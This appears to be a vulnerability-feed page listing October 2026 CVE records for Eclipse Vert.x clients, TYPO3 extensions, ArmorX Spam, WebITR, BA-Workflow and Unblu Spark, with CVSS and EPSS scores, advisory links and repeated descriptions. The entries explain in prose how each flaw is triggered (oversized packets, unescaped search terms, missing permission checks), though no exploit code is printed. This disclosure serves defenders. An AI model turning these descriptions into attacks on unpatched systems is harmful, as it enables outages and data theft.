NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no...
https://kevwire.com/record/CVE-2026-102461
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no short-circuit or size limit. A remote unauthenticated attacker can submit a moderately-sized JSON array that consumes disproportionate CPU time, leading to denial of service.



The impacted component is io.vertx:vertx-json-schema.



The following Vert.x modules depend on vertx-json-schema and are also affected:



io.vertx:vertx-web-openapi-router io.vertx:vertx-web-validation io.vertx:vertx-openapi
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102461).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102461&date=2026-10-25).
Sources:
NVD CVE-2026-102461: https://nvd.nist.gov/vuln/detail/CVE-2026-102461
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-json-schema/security/advisories/GHSA-4m87-8qfr-8p8m
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102461&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the uniqueItems keyword validation uses an O(n²) pairwise comparison loop with no short-circuit or size limit. A remote unauthenticated attacker can submit a moderately-sized JSON array that consumes disproportionate CPU time, leading to denial of service.



The impacted component is io.vertx:vertx-json-schema.



The following Vert.x modules depend on vertx-json-schema and are also affected:



io.vertx:vertx-web-openapi-router io.vertx:vertx-web-validation io.vertx:vertx-openapi

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates...
https://kevwire.com/record/CVE-2026-102462
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates inbound TDS packets into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle SQL Server can send a continuous stream of TDS packets without setting the END_OF_MESSAGE status flag, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-mssql-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102462).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102462&date=2026-10-25).
Sources:
NVD CVE-2026-102462: https://nvd.nist.gov/vuln/detail/CVE-2026-102462
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-fg6c-83v6-vhq4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102462&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the TDS message decoder in the Vert.x MSSQL client (vertx-mssql-client) aggregates inbound TDS packets into a composite direct-memory buffer without any cumulative size limit. A malicious, compromised, or man-in-the-middle SQL Server can send a continuous stream of TDS packets without setting the END_OF_MESSAGE status flag, causing unbounded direct-memory allocation on the client and leading to an out-of-memory crash. This occurs before authentication completes.



The impacted component is io.vertx:vertx-mssql-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray)...
https://kevwire.com/record/CVE-2026-102463
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray)... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray) allocates a Java array sized by a server-declared 32-bit dimension count with no upper bound. A malicious or compromised PostgreSQL server, or an on-path attacker intercepting an unencrypted connection, can send a crafted DataRow message with an excessively large array dimension value, causing the client to attempt a multi-gigabyte heap allocation and crash with an OutOfMemoryError.



The impacted component is io.vertx:vertx-pg-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102463).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102463&date=2026-10-25).
Sources:
NVD CVE-2026-102463: https://nvd.nist.gov/vuln/detail/CVE-2026-102463
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-xqmh-8fhj-48fp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102463&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the binary array decoder in vertx-pg-client (DataTypeCodec.binaryDecodeArray) allocates a Java array sized by a server-declared 32-bit dimension count with no upper bound. A malicious or compromised PostgreSQL server, or an on-path attacker intercepting an unencrypted connection, can send a crafted DataRow message with an excessively large array dimension value, causing the client to attempt a multi-gigabyte heap allocation and crash with an OutOfMemoryError.



The impacted component is io.vertx:vertx-pg-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation.
https://kevwire.com/record/CVE-2026-112064
The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation. (Oct 20, 2026).
The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation. Only the filter conditions of that query were bound as parameters. A backend user with access to the history or statistics functions could use this to read arbitrary data from the database, including password hashes of backend and frontend users.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112064).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112064&date=2026-10-25).
Sources:
NVD CVE-2026-112064: https://nvd.nist.gov/vuln/detail/CVE-2026-112064
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112064&date=2026-10-25
The backend module for reviewing the consent history accepted sorting, grouping and index options from the request and used them in a database query without validation. Only the filter conditions of that query were bound as parameters. A backend user with access to the history or statistics functions could use this to read arbitrary data from the database, including password hashes of backend and frontend users.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The JSON import of the cookie consent configuration did not respect the backend user's permissions.
https://kevwire.com/record/CVE-2026-112066
The JSON import of the cookie consent configuration did not respect the backend user's permissions. (Oct 20, 2026).
The JSON import of the cookie consent configuration did not respect the backend user's permissions. Non-admin backend users with access to the module could import a configuration that adds arbitrary scripts to the frontend of the website.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112066).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112066&date=2026-10-25).
Sources:
NVD CVE-2026-112066: https://nvd.nist.gov/vuln/detail/CVE-2026-112066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112066&date=2026-10-25
The JSON import of the cookie consent configuration did not respect the backend user's permissions. Non-admin backend users with access to the module could import a configuration that adds arbitrary scripts to the frontend of the website.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The file search of the extension builds its database conditions by wrapping the search term in quotes itself.
https://kevwire.com/record/CVE-2026-112238
The file search of the extension builds its database conditions by wrapping the search term in quotes itself. (Oct 20, 2026).
The file search of the extension builds its database conditions by wrapping the search term in quotes itself. Only the wildcard characters of the LIKE operator are escaped, quote characters are not. A crafted search term can therefore leave the intended string value and change the database query. This allows an attacker to read data from the database. The issue affects every searched field.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112238).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112238&date=2026-10-25).
Sources:
NVD CVE-2026-112238: https://nvd.nist.gov/vuln/detail/CVE-2026-112238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112238&date=2026-10-25
The file search of the extension builds its database conditions by wrapping the search term in quotes itself. Only the wildcard characters of the LIKE operator are escaped, quote characters are not. A crafted search term can therefore leave the intended string value and change the database query. This allows an attacker to read data from the database. The issue affects every searched field.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record.
https://kevwire.com/record/CVE-2026-112239
The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record. (Oct 20, 2026).
The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record. It neither checks the user's permissions nor limits which fields can be changed. Any authenticated backend user can therefore change any property of any page, including its access permissions and configuration, outside the scope granted to them.
CVSS 7.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112239).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112239&date=2026-10-25).
Sources:
NVD CVE-2026-112239: https://nvd.nist.gov/vuln/detail/CVE-2026-112239
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112239&date=2026-10-25
The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record. It neither checks the user's permissions nor limits which fields can be changed. Any authenticated backend user can therefore change any property of any page, including its access permissions and configuration, outside the scope granted to them.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability.
https://kevwire.com/record/CVE-2026-113402
ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability. (Oct 20, 2026).
ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability. Authenticated remote attackers can exploit path traversal to cause the application to include PHP files outside the intended directory.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113402).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113402&date=2026-10-25).
Sources:
NVD CVE-2026-113402: https://nvd.nist.gov/vuln/detail/CVE-2026-113402
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113402&date=2026-10-25
ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability. Authenticated remote attackers can exploit path traversal to cause the application to include PHP files outside the intended directory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability.
https://kevwire.com/record/CVE-2026-113403
ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability. (Oct 20, 2026).
ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability. Authenticated remote attackers can inject crafted commands into a specific parameter, thereby uploading malicious code to the server.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113403).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113403&date=2026-10-25).
Sources:
NVD CVE-2026-113403: https://nvd.nist.gov/vuln/detail/CVE-2026-113403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113403&date=2026-10-25
ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability. Authenticated remote attackers can inject crafted commands into a specific parameter, thereby uploading malicious code to the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WebITR developed by Uniong has a Insecure Deserialization vulnerability.
https://kevwire.com/record/CVE-2026-113404
WebITR developed by Uniong has a Insecure Deserialization vulnerability. (Oct 20, 2026).
WebITR developed by Uniong has a Insecure Deserialization vulnerability. Authenticated remote attackers can use the hard-coded cryptographic key to craft and submit malicious serialized data, thereby executing arbitrary code on the server.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113404).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113404&date=2026-10-25).
Sources:
NVD CVE-2026-113404: https://nvd.nist.gov/vuln/detail/CVE-2026-113404
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113404&date=2026-10-25
WebITR developed by Uniong has a Insecure Deserialization vulnerability. Authenticated remote attackers can use the hard-coded cryptographic key to craft and submit malicious serialized data, thereby executing arbitrary code on the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BA-Workflow developed by YS-infoware has a SQL Injection vulnerability.
https://kevwire.com/record/CVE-2026-113407
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. (Oct 20, 2026).
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113407).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113407&date=2026-10-25).
Sources:
NVD CVE-2026-113407: https://nvd.nist.gov/vuln/detail/CVE-2026-113407
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113407&date=2026-10-25
BA-Workflow developed by YS-infoware has a SQL Injection vulnerability. Authenticated remote attackers can inject arbitrary SQL statements to read, modify, and delete database contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the...
https://kevwire.com/record/CVE-2026-113459
In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the... (Oct 20, 2026).
In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the browser. Any authenticated backend user can read the key and use it at the expense of the site operator. This only applies if an API key has been configured.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113459).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113459&date=2026-10-25).
Sources:
NVD CVE-2026-113459: https://nvd.nist.gov/vuln/detail/CVE-2026-113459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113459&date=2026-10-25
In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the browser. Any authenticated backend user can read the key and use it at the expense of the site operator. This only applies if an API key has been configured.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-site scripting in the embedded co-browsing feature in Unblu inc.
https://kevwire.com/record/CVE-2026-14933
Cross-site scripting in the embedded co-browsing feature in Unblu inc. (Oct 20, 2026).
Cross-site scripting in the embedded co-browsing feature in Unblu inc. Unblu Spark 7.0 through 7.57.7 and 8.0 through 8.39.2, on on-premises and cloud deployments, allows an unauthenticated remote attacker in the visitor role to execute arbitrary JavaScript in the browser of an agent taking part in the attacker's co-browsing session, via content of the co-browsed page that the agent's browser renders as HTML.



The JavaScript runs in the context and under the identity of the agent's session in the Agent Desk or the Single Conversation Desk.



Exploitation requires an agent to join an embedded co-browsing session with the attacker. Mobile co-apping isn't affected.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14933).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14933&date=2026-10-25).
Sources:
NVD CVE-2026-14933: https://nvd.nist.gov/vuln/detail/CVE-2026-14933
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14933&date=2026-10-25
Cross-site scripting in the embedded co-browsing feature in Unblu inc. Unblu Spark 7.0 through 7.57.7 and 8.0 through 8.39.2, on on-premises and cloud deployments, allows an unauthenticated remote attacker in the visitor role to execute arbitrary JavaScript in the browser of an agent taking part in the attacker's co-browsing session, via content of the co-browsed page that the agent's browser renders as HTML.



The JavaScript runs in the context and under the identity of the agent's session in the Agent Desk or the Single Conversation Desk.



Exploitation requires an agent to join an embedded co-browsing session with the attacker. Mobile co-apping isn't affected.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc.
https://kevwire.com/record/CVE-2026-9589
Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. (Oct 20, 2026).
Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. Unblu Spark 7.0 through 8.36.1-hotfix.0, on on-premises and cloud deployments, allows an authenticated remote attacker to read and change configuration properties of entities they aren't authorized to access, including other users, other accounts and, in Unblu Cloud, other customers' accounts, via configuration read and write operations that target those entities.



The Collaboration Server doesn't check whether the user reading or changing configuration has access to the entity the configuration belongs to. With certain non-default configuration validation settings, a registered user can additionally write configuration properties they aren't allowed to edit, in any scope.



Exploitation requires an authenticated session but no user interaction.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-9589).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9589&date=2026-10-25).
Sources:
NVD CVE-2026-9589: https://nvd.nist.gov/vuln/detail/CVE-2026-9589
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9589&date=2026-10-25
Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. Unblu Spark 7.0 through 8.36.1-hotfix.0, on on-premises and cloud deployments, allows an authenticated remote attacker to read and change configuration properties of entities they aren't authorized to access, including other users, other accounts and, in Unblu Cloud, other customers' accounts, via configuration read and write operations that target those entities.



The Collaboration Server doesn't check whether the user reading or changing configuration has access to the entity the configuration belongs to. With certain non-default configuration validation settings, a registered user can additionally write configuration properties they aren't allowed to edit, in any scope.



Exploitation requires an authenticated session but no user interaction.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH...
https://kevwire.com/record/CVE-2026-102464
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH message received from the broker in an internal map (qos2inbound) while awaiting the corresponding PUBREL packet to complete the QoS 2 handshake. This map has no size limit; the maxInflightQueue option is enforced only on the outbound publish path and does not constrain inbound message retention.



A malicious or compromised MQTT broker can exploit this by sending QoS 2 PUBLISH messages with distinct packet identifiers and withholding the PUBREL responses. Each incomplete handshake causes the client to retain the full publish message (topic, payload, and metadata) indefinitely, leading to unbounded memory growth in the Vert.x process. This can degrade the MQTT-consuming application or cause out-of-memory termination.



The impacted component is io.vertx:vertx-mqtt.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102464).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102464&date=2026-10-25).
Sources:
NVD CVE-2026-102464: https://nvd.nist.gov/vuln/detail/CVE-2026-102464
Vendor advisory (via NVD references): https://github.com/vert-x3/vertx-mqtt/security/advisories/GHSA-46xj-5735-6qrp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102464&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Eclipse Vert.x MQTT (vertx-mqtt) MqttClient stores every inbound QoS 2 PUBLISH message received from the broker in an internal map (qos2inbound) while awaiting the corresponding PUBREL packet to complete the QoS 2 handshake. This map has no size limit; the maxInflightQueue option is enforced only on the outbound publish path and does not constrain inbound message retention.



A malicious or compromised MQTT broker can exploit this by sending QoS 2 PUBLISH messages with distinct packet identifiers and withholding the PUBREL responses. Each incomplete handshake causes the client to retain the full publish message (topic, payload, and metadata) indefinitely, leading to unbounded memory growth in the Vert.x process. This can degrade the MQTT-consuming application or cause out-of-memory termination.



The impacted component is io.vertx:vertx-mqtt.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column...
https://kevwire.com/record/CVE-2026-102466
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column definitions based on a server-declared column count with no upper-bound validation. A malicious or compromised MySQL server, or an attacker with man-in-the-middle positioning, can send a crafted result set packet with an extremely large column count, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Netty event loop thread, causing a complete denial of service for all connections and verticles in the Vert.x application.



The impacted component is io.vertx:vertx-mysql-client.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102466).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102466&date=2026-10-25).
Sources:
NVD CVE-2026-102466: https://nvd.nist.gov/vuln/detail/CVE-2026-102466
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-9jxp-x3fr-ffqh
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102466&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x MySQL client (vertx-mysql-client) pre-allocates an array for column definitions based on a server-declared column count with no upper-bound validation. A malicious or compromised MySQL server, or an attacker with man-in-the-middle positioning, can send a crafted result set packet with an extremely large column count, causing the client to attempt a massive heap allocation. The resulting OutOfMemoryError crashes the Netty event loop thread, causing a complete denial of service for all connections and verticles in the Vert.x application.



The impacted component is io.vertx:vertx-mysql-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

